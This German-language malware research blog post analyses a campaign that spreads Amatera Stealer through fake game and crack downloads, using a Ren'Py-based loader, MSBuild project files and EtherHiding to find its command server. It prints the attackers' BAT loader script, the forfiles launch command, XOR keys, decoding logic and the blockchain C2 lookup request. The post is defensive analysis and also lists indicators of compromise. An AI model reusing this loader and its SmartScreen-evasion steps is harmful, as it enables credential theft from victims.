Gefälschte Spiele verbreiten Stealer mithilfe von RenPy Loader, MSBuild und EtherHiding

| 20. Juli 2026
Ren'Py-Logo

Wir haben mehrere Kampagnen entdeckt, bei denen gefälschte Downloads von Spielen, Mods, Cracks und Software genutzt werden, um den RenPy Loader zu verbreiten. Nach der Installation löst der Loader eine komplexe, mehrstufige Infektionskette aus, die MSBuild und die EtherHiding-Technik ausnutzt, bevor schließlich der Amatera Stealer eingeschleust wird.

Amatera ist ein Infostealer – eine Art von Malware, die darauf ausgelegt ist, sensible Informationen von einem infizierten Gerät zu stehlen. Das Programm kann Passwörter und andere Daten ins Visier nehmen, die in Browsern, Kryptowährungs-Wallets, Browser-Erweiterungen, Messaging-Apps und lokalen Dateien gespeichert sind. Gestohlene Anmeldedaten und Sitzungsdaten können es Angreifern zudem ermöglichen, auf die Online-Konten des Opfers zuzugreifen.

Das Opfer sieht möglicherweise ein scheinbar normales Spiel oder ein Software-Installationsprogramm, während die Malware unbemerkt im Hintergrund läuft.

Der RenPy Loader, auch bekannt als RenEngine Loader, ist besonders interessant, da er Ren’Py missbraucht – eine legitime Engine, die zur Erstellung von Visual Novels, storybasierten Spielen und interaktiver Fiktion verwendet wird. Indem sie bösartigen Code in Software verstecken, die mit Spielen in Verbindung steht, können Angreifer ihre Downloads für Nutzer, die nach Spielen, Mods oder geknackter Software suchen, glaubwürdiger erscheinen lassen.

Wir haben bereits beobachtet, dass Angreifer legitime Entwicklungstools und neue Software-Frameworks wie Bun und Deno missbrauchen, um Malware zu verbreiten. RenPy Loader folgt demselben Muster: Angreifer nutzen legitime Technologien aus, um böswillige Aktivitäten zu verschleiern, die Infektionskette zu verkomplizieren und die Erkennung zu erschweren.

Es wurde außerdem beobachtet, dass der RenPy Loader weitere Malware verbreitet, darunter HijackLoader und Lumma Stealer, was zeigt, dass die endgültige Payload je nach Kampagne variieren kann.

In diesem Blogbeitrag analysieren wir eine Infektionskette, bei der Ren’Py ein ZIP-Archiv entschlüsselt, das eine BAT-Datei und mehrere MSBuild-Projektdateien enthält. Diese Dateien laden eine mit einem Trojaner infizierte .NET-Komponente, die anschließend eine weitere schädliche Komponente entschlüsselt.

Diese Schadsoftware nutzt eine Technik namens „EtherHiding“, um ihren Command-and-Control-Server (C2) zu lokalisieren. Anstatt die C2-Adresse direkt in der Malware zu speichern, verstecken die Angreifer sie in Daten, die auf einer öffentlichen Blockchain gespeichert sind. Die Malware lädt dann die nächsten Phasen des Angriffs von diesem Server herunter, wodurch es schwieriger wird, die Infrastruktur der Angreifer zu identifizieren und zu stören.

Abschließend untersuchen wir die zusätzlichen Payloads, die letztendlich den Amatera Stealer entschlüsseln und ausführen.

Gefälschte Downloads infizieren Ihr Gerät

Die Infektion beginnt, wenn jemand ein vermeintliches Spiel, einen Mod, einen Crack oder ein Softwareprogramm herunterlädt. Wir haben festgestellt, dass schädliche Dateien über folgende Kanäle verbreitet werden:

  • Schädliche Websites
  • Portale zum Herunterladen von Spielen
  • Mehrere Filesharing-Dienste, darunter Wormhole, GoFile, Google Drive und MEGA

Hier sind einige der erkannten Seiten, die die Infektionskette auslösen:

In mehreren Fällen wurde der Nutzer beim Anklicken eines Download-Links auf eine andere gefälschte Download-Website weitergeleitet. Diese Seiten wiesen unterschiedliche Designs und erfundene Dienstnamen auf, wodurch die Kampagnen weniger eintönig wirkten und die bösartige Infrastruktur schwerer zu erkennen war.

Im Folgenden finden Sie Beispiele für gefälschte Download-Seiten, über die das schädliche Archiv verbreitet wird:

Der Benutzer lädt ein Archiv herunter, das eine Datei mit dem Namen Setup.exe. Durch das Öffnen dieser Datei wird die Infektionskette ausgelöst.

Beispiel für ein Archiv, das von einer bösartigen Website heruntergeladen wurde
Beispiel für ein Archiv, das von einer bösartigen Website heruntergeladen wurde

Dem Opfer wird ein Lade- oder Installationsbildschirm angezeigt, doch im Hintergrund wird Schadcode ausgeführt.

Der Installationsbildschirm
Der Installationsbildschirm

Wie man sicher bleibt

Mit einigen Vorsichtsmaßnahmen lässt sich das Risiko verringern, schädliche Spiele oder Software herunterzuladen:

  • Laden Sie Spiele und Software von offiziellen Websites, vertrauenswürdigen App-Stores oder etablierten Vertriebsplattformen herunter.
  • Seien Sie vorsichtig bei geknackter Software, inoffiziellen Mods und kostenlosen Versionen kostenpflichtiger Spiele.
  • Seien Sie vorsichtig, wenn ein Download-Link Sie über mehrere unbekannte Websites oder Filesharing-Dienste weiterleitet.
  • Überprüfen Sie den Inhalt heruntergeladener Archive, bevor Sie ausführbare Dateien wie beispielsweise Setup.exe.
  • Achten Sie auf ungewöhnliche Dateinamen, Bilder oder Textdateien, die nichts mit dem zu tun haben, was Sie eigentlich herunterladen wollten, sowie auf Inhalte, die nicht Ihren Absichten entsprechen.
  • Verwenden Sie eine Echtzeit-Anti-Malware-Software wie beispielsweise Malwarebytes.
  • Halten Sie Ihr Betriebssystem, Ihren Browser und Ihre Sicherheitssoftware auf dem neuesten Stand.

Die Drahtzieher dieser Kampagnen erstellen ständig neue Websites und ändern ihre Download-Seiten. Ein professionell gestaltetes Installationsprogramm oder ein bekannter Filesharing-Dienst sind keine Garantie dafür, dass ein Download sicher ist.

Technische Analyse des RenPy-Loaders

Ren’Py ist eine kostenlose Open-Source-Engine zur Erstellung von Visual Novels, storybasierten Spielen und interaktiver Fiktion. Ren’Py ermöglicht die Einbindung von Python-Skripten, die Angreifer missbrauchen, um schädlichen Code einzuschleusen.

In diesem Fall haben wir in den folgenden Dateien und Pfaden schädlichen Code gefunden:

Pfad

Beschreibung

data/python-packages/sys_config/

Anti-Sandbox-Klassen

data/libwin32.rpa

Lader

data/.GEg

XOR-verschlüsselte Konfiguration

data/j3lpTcg7kBRN.E3

XOR-verschlüsselte ZIP-Datei

Der aus … entnommene Lademechanismus der ersten Stufe libwin32.rpa führt die folgenden Operationen aus:

  • Liest die Konfiguration data/.GEg und entschlüsselt sie mithilfe der Base64-Dekodierung und einer XOR-Verknüpfung mit dem Schlüssel 81034149cd6f48c8821340204f92766e. Diese Konfiguration enthält das Passwort zum Entpacken der ZIP-Datei sowie weitere vom Loader verwendete Konfigurationsdaten.
  • Anrufe sys_config.is_sandboxed() und beendet das Programm, sobald eine Sandbox erkannt wird.
  • XOR-Entschlüsselungen data/j3lpTcg7kBRN.E3 mit dem Schlüssel A50YyY1 um die ZIP-Datei herunterzuladen.
  • Entpackt den ZIP-Inhalt in einen zufälligen Ordner unter %TEMP%/tmp-{5 digits}-{12 characters} und schreibt ein :Zone.Identifier Alternativer Datenstrom (ADS) mit ZoneId=0 um das „Mark of the Web“-Zeichen zu entfernen und SmartScreen zu umgehen. Außerdem fügt es eine zufällige REM Zeichenkette in die extrahierte BAT-Datei einfügen.
  • Startet die Nutzlast mithilfe von forfiles.exe.
  • Sendet die MAC des Geräts und die Kampagnen-ID an eine Tracking-Website.
Die dekodierte Konfiguration
Die dekodierte Konfiguration
Die in der entschlüsselten ZIP-Datei enthaltenen Dateien
Die in der entschlüsselten ZIP-Datei enthaltenen Dateien

In diesem Fall wurde die extrahierte BAT-Datei mit dem folgenden Befehl ausgeführt:

forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"

Inhalt der BAT-Datei:

@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
  endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
  endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
  exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal

Die ausgeführte BAT-Datei führt die folgenden Vorgänge aus:

  • Startet sich selbst in einer versteckten oder kopflosen Konsole neu:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
  • Aktiviert MSBuild-Eigenschaftsfunktionen und ermöglicht so zusätzliche Methoden wie beispielsweise AppDomain.CurrentDomain.Load auszuführen:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
  • Führt aus MSBuild.exe mit Nancy.csproj als Projektdatei. Während der Projektbewertung führt eine bösartige MSBuild-Eigenschaftsfunktion eine Hex-Dekodierung durch und lädt reflektiv die nächste DLL-Stufe.

Die mit einem Trojaner infizierte Nancy-DLL und der benutzerdefinierte Bytecode

Nancy.csproj importiert die drei extrahierten Dateien Nancy.csproj.user, Internal.propsund Nancy.Compile.targets. Die schädliche DLL ist auf drei Werte verteilt, die in diesen Dateien gespeichert sind.

Die in Nancy.csproj importierten Dateien
Die darin enthaltenen importierten Dateien Nancy.csproj

Nancy.Compile.targets verknüpft die drei Werte, um die DLL hexadezimal zu dekodieren und die DefaultEvaluator5 Methode unter Verwendung von AppDomain.CurrentDomain.Load.CreateInstance.

Ausführung von DefaultEvaluator5
Durchführung von DefaultEvaluator5

Das Interessante daran ist, dass Nancy.csproj dient zwei Zwecken: Es handelt sich um das MSBuild-Projekt, mit dem der Loader der ersten Stufe ausgeführt wird, und es enthält zudem die vom Loader entschlüsselte nächste Stufe.

Die DLL ist eine mit einem Trojaner infizierte Version der Nancy-.NET-Bibliothek und stellt einen verschleierten .NET-Loader dar, in den Schadcode implementiert ist, und zwar in der DefaultEvaluator5 Klasse. Ein Teil der Funktionalität der DLL wird in benutzerdefiniertem Bytecode implementiert, der von dieser „main“-Methode ausgeführt wird.

Vergleich zwischen den legitimen und den mit einem Trojaner infizierten Nancy-DLLs
Vergleich zwischen den legitimen und den mit einem Trojaner infizierten Nancy-DLLs

Die DLL führt die folgenden Operationen aus:

  • Entschlüsselt Zeichenfolgen aus Ressourcen mithilfe einer XOR-Entschlüsselung mit mehreren Schlüsseln.
  • Löst APIs mithilfe von API-Hashing auf und GetDelegateForFunctionPointer.
  • Ändert die Netzwerkeinstellungen, einschließlich der Deaktivierung der TLS-Zertifikatsüberprüfung und der Festlegung des Standard-System-Proxys.
  • Führt Maßnahmen zur Verhinderung forensischer Untersuchungen durch.
  • Liest die _czzf Umgebungsvariable, die auf die vorherige verweist Nancy.csproj Datei, dekodiert sie anschließend und führt sie aus.

Das Wichtigste DefaultEvaluator5 Die Methode ruft Zeichenfolgen ab und interpretiert den Bytecode, der in den folgenden Ressourcen enthalten ist:

  • Nancy.Runtime.mvlorimu: Enthält den benutzerdefinierten Bytecode. Der Bytecode wird interpretiert von _pv und _sro. Es implementiert 23 Opcodes, die zum Entschlüsseln weiterer Zeichenketten und zum Laden der DLL der nächsten Stufe verwendet werden.
  • Nancy.Data.tcnlhxw und Nancy.Resources.kxxodp: Enthält die verschlüsselten Zeichenfolgen und andere Daten, die zur Entschlüsselung verwendet werden, darunter Schlüssel, Längen, Indizes und die S-Box.

Die Zeichenfolgen werden mit dem folgenden Algorithmus entschlüsselt:

out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]

Die nächste DLL-Stufe, GollopDevest, wird aus derselben Quelle decodiert Nancy.csproj Datei, die nach folgender Logik erstellt und mit AppDomain.Load:

for i, k in enumerate(marker_int):
    if k < 256:
        payload[i] = k
    else:
        payload[i] = marker_int[k-256]
Die codierte nächste Stufe zwischen den Pack-Markern
Die codierte nächste Stufe zwischen dem Pack Markierungen

EtherHiding und Amatera Stealer

Die nächste extrahierte Komponente ist eine DLL namens GollopDevest.dll, ein .NET-Downloader, der die „EtherHiding“-Technik nutzt, um seinen Command-and-Control-Server (C2) zu ermitteln und die nächste Stufe herunterzuladen.

Die verschlüsselte C2-Domain wird mithilfe eines Ethereum-JSON-RPC abgerufen. eth_call Anfrage an bsc-dataseed.binance.org:

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}

Dieser EtherHiding-Downloader ist wahrscheinlich Teil einer „Malware-as-a-Service“-Operation (MaaS), da wir festgestellt haben, dass er auch im Rahmen anderer Kampagnen, darunter ClickFix-Kampagnen, verbreitet wird.

Anschließend werden drei weitere Nutzlasten heruntergeladen: zwei .NET-DLLs mit den Namen PavinWide (eine Anti-Analyse-DLL) und GollopDevest (eine Loader-DLL) und eine C++-DLL namens LanoseThrip, wodurch letztendlich Amatera Stealer entschlüsselt und geladen wird.

In diesem Fall wurden diese Payloads von folgender Quelle heruntergeladen:

  • /assets/ExponeAboard.json
  • /assets/MailersKogasin.json
  • /assets/LanoseThrip.json

Die .NET-DLLs werden mithilfe von Control-Flow-Flattening und indirekten Aufrufen über calli/ldftn, Zeichenfolgenverschlüsselung mit verschiedenen Algorithmen, Junk-Code, toter Code und gefälschte Zeichenfolgen wie URL-Pfade.

Die Analyse dieser DLLs ist noch nicht abgeschlossen und wird in den nächsten Blogbeiträgen näher beleuchtet werden.

Indikatoren für Kompromisse (IOCs)

Domänen

  • downpro[.]net – Gefälschte Download-Website
  • macisofile[.]sbs – Gefälschte Download-Website
  • visitmama[.]blog – Gefälschte Download-Website
  • visitmama[.]guru – Gefälschte Download-Website
  • getgamerfree[.]com – Gefälschte Download-Website
  • fullgames[.]digital – Gefälschte Download-Website
  • flingbase[.]net – Gefälschte Download-Website
  • citronemu[.]com – Gefälschte Download-Website
  • filemodo[.]xyz – Vertriebsinfrastruktur
  • storage06x[.]cfd – Vertriebsinfrastruktur
  • p03sil[.]cyou – Vertriebsinfrastruktur
  • wimsedas[.]xyz – Vertriebsinfrastruktur
  • againstmor[.]store – Vertriebsinfrastruktur
  • host03q[.]cfd – Vertriebsinfrastruktur
  • cloud01y[.]cfd – Vertriebsinfrastruktur
  • storage11x[.]cfd – Vertriebsinfrastruktur
  • storage04x[.]cfd – Vertriebsinfrastruktur
  • host82p[.]cfd – Vertriebsinfrastruktur
  • cloud05y[.]cfd – Vertriebsinfrastruktur
  • analyticstrack-pzh[.]click – Website zur Nachverfolgung
  • login.orbitalframework[.]cc – Amatera Stealer C2

IP-Adressen

  • 144.124.251[.]171 – Wird verwendet, um zusätzliche Nutzdaten zu erhalten
  • 195.63.140[.]33 – Wird verwendet, um zusätzliche Nutzdaten zu erhalten
  • 78.40.196[.]252 – Wird verwendet, um zusätzliche Nutzdaten zu erhalten

Datei-Hashes (MD5)

  • 29203ca123d51b1b33505a0813d360df – Loader der ersten Stufe (trojanisierte DLL)
  • 810F257542018BE0FC62AF542D13D012 – GollopDevest-DLL (Downloader-DLL)
  • 681DB529E402467A4B0567C82A350FC0 – PavinWride-DLL (Anti-Analyse-DLL)
  • 2E116632248A7E1F8AA6BCA92D9C1C90 – GollopDevest-DLL (Loader-DLL)
  • F8453EFE408CE25B9484F872797E3D63 – Endgültige Nutzlast

CNET-Auszeichnung „Editors' Choice“ 2026

Laut CNET.Lesen Sie den Testbericht


Über den Autor

Gabriele ist Malware-Forschungsingenieur und liebt es, Malware zu bekämpfen. Wenn er gerade nicht damit beschäftigt ist, genießt er die Natur, Kunst und Tiere.